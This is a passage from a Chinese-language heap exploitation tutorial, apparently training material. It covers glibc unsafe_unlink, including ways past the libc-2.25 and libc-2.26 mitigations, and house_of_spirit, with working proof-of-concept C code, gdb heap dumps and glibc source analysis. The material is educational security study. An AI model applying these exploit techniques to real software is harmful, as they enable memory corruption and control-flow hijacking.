\u5728\u89e3\u94fe\u64cd\u4f5c\u4e4b\u524d\uff0c\u9488\u5bf9\u5806\u5757 P \u81ea\u8eab\u7684 fd \u548c bk \u68c0\u67e5\u4e86\u94fe\u8868\u7684\u5b8c\u6574\u6027\uff0c\u5373\u5224\u65ad\u5806\u5757 P \u7684\u524d\u4e00\u5757 fd \u7684\u6307\u9488\u662f\u5426\u6307\u5411 P\uff0c\u4ee5\u53ca\u540e\u4e00\u5757 bk \u7684\u6307\u9488\u662f\u5426\u6307\u5411 P\u3002
malloc_size \u8bbe\u7f6e\u4e3a 0x80\uff0c\u53ef\u4ee5\u5206\u914d small chunk\uff0c\u7136\u540e\u5b9a\u4e49 header_size \u4e3a 2\u3002\u7533\u8bf7\u4e24\u5757\u7a7a\u95f4\uff0c\u5168\u5c40\u6307\u9488 chunk0_ptr
\u6307\u5411 chunk0\uff0c\u5c40\u90e8\u6307\u9488 chunk1_ptr
\u6307\u5411 chunk1\uff1a
gef\u27a4 p &chunk0_ptr\n$1 = (uint64_t **) 0x601070 <chunk0_ptr>\ngef\u27a4 x/gx &chunk0_ptr\n0x601070 <chunk0_ptr>: 0x0000000000602010\ngef\u27a4 p &chunk1_ptr\n$2 = (uint64_t **) 0x7fffffffdc60\ngef\u27a4 x/gx &chunk1_ptr\n0x7fffffffdc60: 0x00000000006020a0\ngef\u27a4 x/40gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0\n0x602010: 0x0000000000000000 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000000\n0x602030: 0x0000000000000000 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000000\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000 0x0000000000000000\n0x602080: 0x0000000000000000 0x0000000000000000\n0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1\n0x6020a0: 0x0000000000000000 0x0000000000000000\n0x6020b0: 0x0000000000000000 0x0000000000000000\n0x6020c0: 0x0000000000000000 0x0000000000000000\n0x6020d0: 0x0000000000000000 0x0000000000000000\n0x6020e0: 0x0000000000000000 0x0000000000000000\n0x6020f0: 0x0000000000000000 0x0000000000000000\n0x602100: 0x0000000000000000 0x0000000000000000\n0x602110: 0x0000000000000000 0x0000000000000000\n0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk\n0x602130: 0x0000000000000000 0x0000000000000000\n
\u63a5\u4e0b\u6765\u8981\u7ed5\u8fc7 (P->fd->bk != P || P->bk->fd != P) == False
\u7684\u68c0\u67e5\uff0c\u8fd9\u4e2a\u68c0\u67e5\u6709\u4e2a\u7f3a\u9677\uff0c\u5c31\u662f fd/bk \u6307\u9488\u90fd\u662f\u901a\u8fc7\u4e0e chunk \u5934\u90e8\u7684\u76f8\u5bf9\u5730\u5740\u6765\u67e5\u627e\u7684\u3002\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u5168\u5c40\u6307\u9488 chunk0_ptr
\u6784\u9020 fake chunk \u6765\u7ed5\u8fc7\u5b83\uff1a
gef\u27a4 x/40gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0\n0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P\n0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer\n0x602030: 0x0000000000000000 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000000\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000 0x0000000000000000\n0x602080: 0x0000000000000000 0x0000000000000000\n0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size\n0x6020a0: 0x0000000000000000 0x0000000000000000\n0x6020b0: 0x0000000000000000 0x0000000000000000\n0x6020c0: 0x0000000000000000 0x0000000000000000\n0x6020d0: 0x0000000000000000 0x0000000000000000\n0x6020e0: 0x0000000000000000 0x0000000000000000\n0x6020f0: 0x0000000000000000 0x0000000000000000\n0x602100: 0x0000000000000000 0x0000000000000000\n0x602110: 0x0000000000000000 0x0000000000000000\n0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk\n0x602130: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/5gx 0x601058\n0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD\n0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer\n0x601078: 0x0000000000000000\ngef\u27a4 x/5gx 0x601060\n0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK\n0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer\n0x601080: 0x0000000000000000\n
\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u5728 chunk0 \u91cc\u6784\u9020\u4e00\u4e2a fake chunk\uff0c\u7528 P \u8868\u793a\uff0c\u4e24\u4e2a\u6307\u9488 fd \u548c bk \u53ef\u4ee5\u6784\u6210\u4e24\u6761\u94fe\uff1aP->fd->bk == P
\uff0cP->bk->fd == P
\uff0c\u53ef\u4ee5\u7ed5\u8fc7\u68c0\u67e5\u3002\u53e6\u5916\u5229\u7528 chunk0 \u7684\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u901a\u8fc7\u4fee\u6539 chunk 1 \u7684 prev_size
\u4e3a fake chunk \u7684\u5927\u5c0f\uff0c\u4fee\u6539 PREV_INUSE
\u6807\u5fd7\u4f4d\u4e3a 0\uff0c\u5c06 fake chunk \u4f2a\u9020\u6210\u4e00\u4e2a free chunk\u3002
\u63a5\u4e0b\u6765\u5c31\u662f\u91ca\u653e\u6389 chunk1\uff0c\u8fd9\u4f1a\u89e6\u53d1 fake chunk \u7684 unlink \u5e76\u8986\u76d6 chunk0_ptr
\u7684\u503c\u3002unlink \u64cd\u4f5c\u662f\u8fd9\u6837\u8fdb\u884c\u7684\uff1a
FD = P->fd;\nBK = P->bk;\nFD->bk = BK\nBK->fd = FD\n
\u6839\u636e fd \u548c bk \u6307\u9488\u5728 malloc_chunk \u7ed3\u6784\u4f53\u4e2d\u7684\u4f4d\u7f6e\uff0c\u8fd9\u6bb5\u4ee3\u7801\u7b49\u4ef7\u4e8e\uff1a
FD = P->fd = &P - 24\nBK = P->bk = &P - 16\nFD->bk = *(&P - 24 + 24) = P\nFD->fd = *(&P - 16 + 16) = P\n
\u8fd9\u6837\u5c31\u901a\u8fc7\u4e86 unlink \u7684\u68c0\u67e5\uff0c\u6700\u7ec8\u6548\u679c\u4e3a\uff1a
FD->bk = P = BK = &P - 16\nBK->fd = P = FD = &P - 24\n
\u539f\u672c\u6307\u5411\u5806\u4e0a fake chunk \u7684\u6307\u9488 P \u6307\u5411\u4e86\u81ea\u8eab\u5730\u5740\u51cf 24 \u7684\u4f4d\u7f6e\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u5982\u679c\u7a0b\u5e8f\u529f\u80fd\u5141\u8bb8\u5806 P \u8fdb\u884c\u5199\u5165\uff0c\u5c31\u80fd\u6539\u5199 P \u6307\u9488\u81ea\u8eab\u7684\u5730\u5740\uff0c\u4ece\u800c\u9020\u6210\u4efb\u610f\u5185\u5b58\u5199\u5165\u3002\u82e5\u5141\u8bb8\u5806 P \u8fdb\u884c\u8bfb\u53d6\uff0c\u5219\u4f1a\u9020\u6210\u4fe1\u606f\u6cc4\u6f0f\u3002
\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u7531\u4e8e P->fd->bk \u548c P->bk->fd \u90fd\u6307\u5411 P\uff0c\u6240\u4ee5\u6700\u540e\u7684\u7ed3\u679c\u4e3a\uff1a
chunk0_ptr = P = P->fd\n
\u6210\u529f\u5730\u4fee\u6539\u4e86 chunk0_ptr\uff0c\u8fd9\u65f6 chunk0_ptr
\u548c chunk0_ptr[3]
\u5b9e\u9645\u4e0a\u5c31\u662f\u540c\u4e00\u4e1c\u897f\u3002\u8fd9\u91cc\u53ef\u80fd\u4f1a\u6709\u7591\u60d1\u4e3a\u4ec0\u4e48\u8fd9\u4e24\u4e2a\u4e1c\u897f\u662f\u4e00\u6837\u7684\uff0c\u56e0\u4e3a chunk0_ptr
\u6307\u9488\u5728\u662f\u653e\u5728\u6570\u636e\u6bb5\u4e0a\u7684\uff0c\u5730\u5740\u5728 0x601070
\uff0c\u6307\u5411 0x601058
\uff0c\u800c chunk0_ptr[3]
\u7684\u610f\u601d\u662f\u4ece chunk0_ptr
\u6307\u5411\u7684\u5730\u65b9\u5f00\u59cb\u6570 3 \u4e2a\u5355\u4f4d\uff0c\u6240\u4ee5 0x601058+0x08*3=0x601070
\uff1a
gef\u27a4 x/40gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0\n0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P\n0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer\n0x602030: 0x0000000000000000 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000000\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000 0x0000000000000000\n0x602080: 0x0000000000000000 0x0000000000000000\n0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed]\n0x6020a0: 0x0000000000000000 0x0000000000000000\n0x6020b0: 0x0000000000000000 0x0000000000000000\n0x6020c0: 0x0000000000000000 0x0000000000000000\n0x6020d0: 0x0000000000000000 0x0000000000000000\n0x6020e0: 0x0000000000000000 0x0000000000000000\n0x6020f0: 0x0000000000000000 0x0000000000000000\n0x602100: 0x0000000000000000 0x0000000000000000\n0x602110: 0x0000000000000000 0x0000000000000000\n0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk\n0x602130: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/5gx 0x601058\n0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD\n0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer\n0x601078: 0x0000000000000000\ngef\u27a4 x/5gx 0x601060\n0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK\n0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer\n0x601080: 0x0000000000000000\ngef\u27a4 x/gx chunk0_ptr\n0x601058: 0x0000000000000000\ngef\u27a4 x/gx chunk0_ptr[3]\n0x601058: 0x0000000000000000\n
\u6240\u4ee5\uff0c\u4fee\u6539 chunk0_ptr[3]
\u5c31\u7b49\u4e8e\u4fee\u6539 chunk0_ptr
\uff1a
gef\u27a4 x/5gx 0x601058\n0x601058: 0x0000000000000000 0x00007ffff7dd2540\n0x601068: 0x0000000000000000 0x00007fffffffdc70 <-- chunk0_ptr[3]\n0x601078: 0x0000000000000000\ngef\u27a4 x/gx chunk0_ptr\n0x7fffffffdc70: 0x4141414141414141\n
\u8fd9\u65f6 chunk0_ptr
\u5c31\u6307\u5411\u4e86 victim_string\uff0c\u4fee\u6539\u5b83\uff1a
gef\u27a4 x/gx chunk0_ptr\n0x7fffffffdc70: 0x4242424242424242\n
\u6210\u529f\u8fbe\u6210\u4fee\u6539\u4efb\u610f\u5730\u5740\u7684\u6210\u5c31\u3002
\u6700\u540e\u770b\u4e00\u70b9\u65b0\u7684\u4e1c\u897f\uff0clibc-2.25 \u5728 unlink \u7684\u5f00\u5934\u589e\u52a0\u4e86\u5bf9 chunk_size == next->prev->chunk_size
\u7684\u68c0\u67e5\uff0c\u4ee5\u5bf9\u6297\u5355\u5b57\u8282\u6ea2\u51fa\u7684\u95ee\u9898\u3002\u8865\u4e01\u5982\u4e0b\uff1a
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c\ncommit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30\nAuthor: DJ Delorie <dj@delorie.com>\nDate: Fri Mar 17 15:31:38 2017 -0400\n\n Further harden glibc malloc metadata against 1-byte overflows.\n\n Additional check for chunk_size == next->prev->chunk_size in unlink()\n\n 2017-03-17 Chris Evans <scarybeasts@gmail.com>\n\n * malloc/malloc.c (unlink): Add consistency check between size and\n next->prev->size, to further harden against 1-byte overflows.\n\ndiff --git a/malloc/malloc.c b/malloc/malloc.c\nindex e29105c372..994a23248e 100644\n--- a/malloc/malloc.c\n+++ b/malloc/malloc.c\n@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;\n\n /* Take a chunk off a bin list */\n #define unlink(AV, P, BK, FD) { \\\n+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \\\n+ malloc_printerr (check_action, \"corrupted size vs. prev_size\", P, AV); \\\n FD = P->fd; \\\n BK = P->bk; \\\n if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \\\n
\u5177\u4f53\u662f\u8fd9\u6837\u7684\uff1a
/* Ptr to next physical malloc_chunk. */\n#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))\n/* Get size, ignoring use bits */\n#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))\n/* Like chunksize, but do not mask SIZE_BITS. */\n#define chunksize_nomask(p) ((p)->mchunk_size)\n/* Size of the chunk below P. Only valid if prev_inuse (P). */\n#define prev_size(p) ((p)->mchunk_prev_size)\n/* Bits to mask off when extracting size */\n#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)\n
\u56de\u987e\u4e00\u4e0b\u4f2a\u9020\u51fa\u6765\u7684\u5806\uff1a
gef\u27a4 x/40gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0\n0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P\n0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer\n0x602030: 0x0000000000000000 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000000\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000 0x0000000000000000\n0x602080: 0x0000000000000000 0x0000000000000000\n0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size\n0x6020a0: 0x0000000000000000 0x0000000000000000\n0x6020b0: 0x0000000000000000 0x0000000000000000\n0x6020c0: 0x0000000000000000 0x0000000000000000\n0x6020d0: 0x0000000000000000 0x0000000000000000\n0x6020e0: 0x0000000000000000 0x0000000000000000\n0x6020f0: 0x0000000000000000 0x0000000000000000\n0x602100: 0x0000000000000000 0x0000000000000000\n0x602110: 0x0000000000000000 0x0000000000000000\n0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk\n0x602130: 0x0000000000000000 0x0000000000000000\n
\u8fd9\u91cc\u6709\u4e09\u79cd\u529e\u6cd5\u53ef\u4ee5\u7ed5\u8fc7\u8be5\u68c0\u67e5\uff1a
\u4ec0\u4e48\u90fd\u4e0d\u505a\u3002
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
\u8bbe\u7f6e
chunk0_ptr[1] = 0x8
\u3002
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8
\u8bbe\u7f6e
chunk0_ptr[1] = 0x80
\u3002
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80
\u597d\u7684\uff0c\u73b0\u5728 libc-2.25 \u7248\u672c\u4e0b\u6211\u4eec\u4e5f\u80fd\u6210\u529f\u5229\u7528\u4e86\u3002\u63a5\u4e0b\u6765\u66f4\u8fd1\u4e00\u6b65\uff0clibc-2.26 \u600e\u4e48\u5229\u7528\uff0c\u9996\u5148\u5f53\u7136\u8981\u5148\u77e5\u9053\u5b83\u65b0\u589e\u4e86\u54ea\u4e9b\u6f0f\u6d1e\u7f13\u89e3\u63aa\u65bd\uff0c\u5176\u4e2d\u4e00\u4e2a\u795e\u5947\u7684\u4e1c\u897f\u53eb\u505a tcache\uff0c\u8fd9\u662f\u4e00\u79cd\u7ebf\u7a0b\u7f13\u5b58\u673a\u5236\uff0c\u6bcf\u4e2a\u7ebf\u7a0b\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u6709 64 \u4e2a\u5927\u5c0f\u9012\u589e\u7684 bins\uff0c\u6bcf\u4e2a bin \u662f\u4e00\u4e2a\u5355\u94fe\u8868\uff0c\u9ed8\u8ba4\u6700\u591a\u5305\u542b 7 \u4e2a chunk\u3002\u5176\u4e2d\u7f13\u5b58\u7684 chunk \u662f\u4e0d\u4f1a\u88ab\u5408\u5e76\u7684\uff0c\u6240\u4ee5\u5728\u91ca\u653e chunk 1 \u7684\u65f6\u5019\uff0cchunk0_ptr
\u4ecd\u7136\u6307\u5411\u6b63\u786e\u7684\u5806\u5730\u5740\uff0c\u800c\u4e0d\u662f\u4e4b\u524d\u7684 chunk0_ptr = P = P->fd
\u3002\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u4e00\u79cd\u53ef\u80fd\u7684\u529e\u6cd5\u662f\u7ed9\u586b\u5145\u8fdb\u7279\u5b9a\u5927\u5c0f\u7684 chunk \u628a bin \u5360\u6ee1\uff0c\u5c31\u50cf\u4e0b\u9762\u8fd9\u6837\uff1a
// deal with tcache\n int *a[10];\n int i;\n for (i = 0; i < 7; i++) {\n a[i] = malloc(0x80);\n }\n for (i = 0; i < 7; i++) {\n free(a[i]);\n }\ngef\u27a4 p &chunk0_ptr\n$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>\ngef\u27a4 x/gx 0x555555755070\n0x555555755070 <chunk0_ptr>: 0x00007fffffffdd0f\ngef\u27a4 x/gx 0x00007fffffffdd0f\n0x7fffffffdd0f: 0x4242424242424242\n
\u73b0\u5728 libc-2.26 \u7248\u672c\u4e0b\u4e5f\u6210\u529f\u5229\u7528\u4e86\u3002tcache \u662f\u4e2a\u5f88\u6709\u8da3\u7684\u4e1c\u897f\uff0c\u66f4\u8be6\u7ec6\u7684\u5185\u5bb9\u6211\u4eec\u4f1a\u5728\u4e13\u95e8\u7684\u7ae0\u8282\u91cc\u53bb\u8bb2\u3002
\u52a0\u4e0a\u5185\u5b58\u68c0\u6d4b\u53c2\u6570\u91cd\u65b0\u7f16\u8bd1\uff0c\u53ef\u4ee5\u770b\u5230 heap-buffer-overflow\uff1a
$ gcc -fsanitize=address -g unsafe_unlink.c\n$ ./a.out\nThe global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80\nThe victim chunk we are going to corrupt is at 0x60c00000bec0\n\nFake chunk fd: 0x602218\nFake chunk bk: 0x602220\n\n=================================================================\n==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720\nWRITE of size 8 at 0x60c00000beb0 thread T0\n #0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26\n #1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)\n\n0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)\nallocated by thread T0 here:\n #0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)\n #1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13\n #2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n
"},{"location":"Training/Material/Binary%20Exploitation/#house_of_spirit","title":"house_of_spirit","text":"#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n malloc(1);\n\n fprintf(stderr, \"We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\\n\");\n unsigned long long *a, *b;\n unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));\n\n fprintf(stderr, \"The first one: %p\\n\", &fake_chunks[0]);\n fprintf(stderr, \"The second one: %p\\n\", &fake_chunks[4]);\n\n fake_chunks[1] = 0x20; // the size\n fake_chunks[5] = 0x1234; // nextsize\n\n fake_chunks[2] = 0x4141414141414141LL;\n fake_chunks[6] = 0x4141414141414141LL;\n\n fprintf(stderr, \"Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[0]);\n a = &fake_chunks[2];\n\n fprintf(stderr, \"Freeing the overwritten pointer.\\n\");\n free(a);\n\n fprintf(stderr, \"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[0], &fake_chunks[2]);\n b = malloc(0x10);\n fprintf(stderr, \"malloc(0x10): %p\\n\", b);\n b[0] = 0x4242424242424242LL;\n}\n$ gcc -g house_of_spirit.c\n$ ./a.out\nWe will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\nThe first one: 0x7ffc782dae00\nThe second one: 0x7ffc782dae20\nOverwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.\nFreeing the overwritten pointer.\nNow the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!\nmalloc(0x10): 0x7ffc782dae10\n
house-of-spirit \u662f\u4e00\u79cd fastbins \u653b\u51fb\u65b9\u6cd5\uff0c\u901a\u8fc7\u6784\u9020 fake chunk\uff0c\u7136\u540e\u5c06\u5176 free \u6389\uff0c\u5c31\u53ef\u4ee5\u5728\u4e0b\u4e00\u6b21 malloc \u65f6\u8fd4\u56de fake chunk \u7684\u5730\u5740\uff0c\u5373\u4efb\u610f\u6211\u4eec\u53ef\u63a7\u7684\u533a\u57df\u3002house-of-spirit \u662f\u4e00\u79cd\u901a\u8fc7\u5806\u7684 fast bin \u673a\u5236\u6765\u8f85\u52a9\u6808\u6ea2\u51fa\u7684\u65b9\u6cd5\uff0c\u4e00\u822c\u7684\u6808\u6ea2\u51fa\u6f0f\u6d1e\u7684\u5229\u7528\u90fd\u5e0c\u671b\u80fd\u591f\u8986\u76d6\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u4ee5\u63a7\u5236 EIP \u6765\u52ab\u6301\u63a7\u5236\u6d41\uff0c\u4f46\u5982\u679c\u6808\u6ea2\u51fa\u7684\u957f\u5ea6\u65e0\u6cd5\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u540c\u65f6\u5374\u53ef\u4ee5\u8986\u76d6\u6808\u4e0a\u7684\u4e00\u4e2a\u5373\u5c06\u88ab free \u7684\u5806\u6307\u9488\uff0c\u6b64\u65f6\u53ef\u4ee5\u5c06\u8fd9\u4e2a\u6307\u9488\u6539\u5199\u4e3a\u6808\u4e0a\u7684\u5730\u5740\u5e76\u5728\u76f8\u5e94\u4f4d\u7f6e\u6784\u9020\u4e00\u4e2a fast bin \u5757\u7684\u5143\u6570\u636e\uff0c\u63a5\u7740\u5728 free \u64cd\u4f5c\u65f6\uff0c\u8fd9\u4e2a\u6808\u4e0a\u7684\u5806\u5757\u88ab\u653e\u5230 fast bin \u4e2d\uff0c\u4e0b\u4e00\u6b21 malloc \u5bf9\u5e94\u7684\u5927\u5c0f\u65f6\uff0c\u7531\u4e8e fast bin \u7684\u5148\u8fdb\u540e\u51fa\u673a\u5236\uff0c\u8fd9\u4e2a\u6808\u4e0a\u7684\u5806\u5757\u88ab\u8fd4\u56de\u7ed9\u7528\u6237\uff0c\u518d\u6b21\u5199\u5165\u65f6\u5c31\u53ef\u80fd\u9020\u6210\u8fd4\u56de\u5730\u5740\u7684\u6539\u5199\u3002\u6240\u4ee5\u5229\u7528\u7684\u7b2c\u4e00\u6b65\u4e0d\u662f\u53bb\u63a7\u5236\u4e00\u4e2a chunk\uff0c\u800c\u662f\u63a7\u5236\u4f20\u7ed9 free \u51fd\u6570\u7684\u6307\u9488\uff0c\u5c06\u5176\u6307\u5411\u4e00\u4e2a fake chunk\u3002\u6240\u4ee5 fake chunk \u7684\u4f2a\u9020\u662f\u5173\u952e\u3002
\u9996\u5148 malloc(1) \u7528\u4e8e\u521d\u59cb\u5316\u5185\u5b58\u73af\u5883\uff0c\u7136\u540e\u5728 fake chunk \u533a\u57df\u4f2a\u9020\u51fa\u4e24\u4e2a chunk\u3002\u53e6\u5916\u6b63\u5982\u4e0a\u9762\u6240\u8bf4\u7684\uff0c\u9700\u8981\u4e00\u4e2a\u4f20\u9012\u7ed9 free \u51fd\u6570\u7684\u53ef\u4ee5\u88ab\u4fee\u6539\u7684\u6307\u9488\uff0c\u65e0\u8bba\u662f\u901a\u8fc7\u6808\u6ea2\u51fa\u8fd8\u662f\u5176\u5b83\u4ec0\u4e48\u65b9\u5f0f\uff1a
gef\u27a4 x/10gx &fake_chunks\n0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1\n0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000\n0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2\n0x7fffffffdce0: 0x4141414141414141 0x0000000000000000\ngef\u27a4 x/gx &a\n0x7fffffffdca0: 0x0000000000000000\n
\u4f2a\u9020 chunk \u65f6\u9700\u8981\u7ed5\u8fc7\u4e00\u4e9b\u68c0\u67e5\uff0c\u9996\u5148\u662f\u6807\u5fd7\u4f4d\uff0cPREV_INUSE
\u4f4d\u5e76\u4e0d\u5f71\u54cd free \u7684\u8fc7\u7a0b\uff0c\u4f46 IS_MMAPPED
\u4f4d\u548c NON_MAIN_ARENA
\u4f4d\u90fd\u8981\u4e3a\u96f6\u3002\u5176\u6b21\uff0c\u5728 64 \u4f4d\u7cfb\u7edf\u4e2d fast chunk \u7684\u5927\u5c0f\u8981\u5728 32~128 \u5b57\u8282\u4e4b\u95f4\u3002\u6700\u540e\uff0c\u662f next chunk \u7684\u5927\u5c0f\uff0c\u5fc5\u987b\u5927\u4e8e 2*SIZE_SZ
\uff08\u5373\u5927\u4e8e16\uff09\uff0c\u5c0f\u4e8e av->system_mem
\uff08\u5373\u5c0f\u4e8e128kb\uff09\uff0c\u624d\u80fd\u7ed5\u8fc7\u5bf9 next chunk \u5927\u5c0f\u7684\u68c0\u67e5\u3002
libc-2.23 \u4e2d\u8fd9\u4e9b\u68c0\u67e5\u4ee3\u7801\u5982\u4e0b\uff1a
void\n__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p; /* chunk corresponding to mem */\n\n [...]\n p = mem2chunk (mem);\n\n if (chunk_is_mmapped (p)) /* release mmapped memory. */\n {\n [...]\n munmap_chunk (p);\n return;\n }\n\n ar_ptr = arena_for_chunk (p); // \u83b7\u5f97 chunk \u6240\u5c5e arena \u7684\u5730\u5740\n _int_free (ar_ptr, p, 0); // \u5f53 IS_MMAPPED \u4e3a\u96f6\u65f6\u8c03\u7528\n}\n
mem
\u5c31\u662f\u6211\u4eec\u6240\u63a7\u5236\u7684\u4f20\u9012\u7ed9 free \u51fd\u6570\u7684\u5730\u5740\u3002\u5176\u4e2d\u4e0b\u9762\u4e24\u4e2a\u51fd\u6570\u7528\u4e8e\u5728 chunk \u6307\u9488\u548c malloc \u6307\u9488\u4e4b\u95f4\u505a\u8f6c\u6362\uff1a
/* conversion from malloc headers to user pointers, and back */\n\n#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))\n#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))\n
\u5f53 NON_MAIN_ARENA
\u4e3a\u96f6\u65f6\u8fd4\u56de main arena\uff1a
/* find the heap and corresponding arena for a given ptr */\n\n#define heap_for_ptr(ptr) \\\n ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n
\u8fd9\u6837\uff0c\u7a0b\u5e8f\u5c31\u987a\u5229\u5730\u8fdb\u5165\u4e86 _int_free
\u51fd\u6570\uff1a
static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size; /* its size */\n mfastbinptr *fb; /* associated fastbin */\n\n [...]\n size = chunksize (p);\n\n [...]\n /*\n If eligible, place chunk on a fastbin so it can be found\n and used quickly in malloc.\n */\n\n if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())\n\n#if TRIM_FASTBINS\n /*\n If TRIM_FASTBINS set, don't place chunks\n bordering top into fastbins\n */\n && (chunk_at_offset(p, size) != av->top)\n#endif\n ) {\n\n if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)\n || __builtin_expect (chunksize (chunk_at_offset (p, size))\n >= av->system_mem, 0))\n {\n [...]\n errstr = \"free(): invalid next size (fast)\";\n goto errout;\n }\n\n [...]\n set_fastchunks(av);\n unsigned int idx = fastbin_index(size);\n fb = &fastbin (av, idx);\n\n /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */\n mchunkptr old = *fb, old2;\n [...]\n do\n {\n [...]\n p->fd = old2 = old;\n }\n while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);\n
\u5176\u4e2d\u4e0b\u9762\u7684\u5b8f\u51fd\u6570\u7528\u4e8e\u83b7\u5f97 next chunk\uff1a
/* Treat space at ptr + offset as a chunk */\n#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))\n
\u7136\u540e\u4fee\u6539\u6307\u9488 a \u6307\u5411 (fake chunk 1 + 0x10) \u7684\u4f4d\u7f6e\uff0c\u5373\u4e0a\u9762\u63d0\u5230\u7684 mem
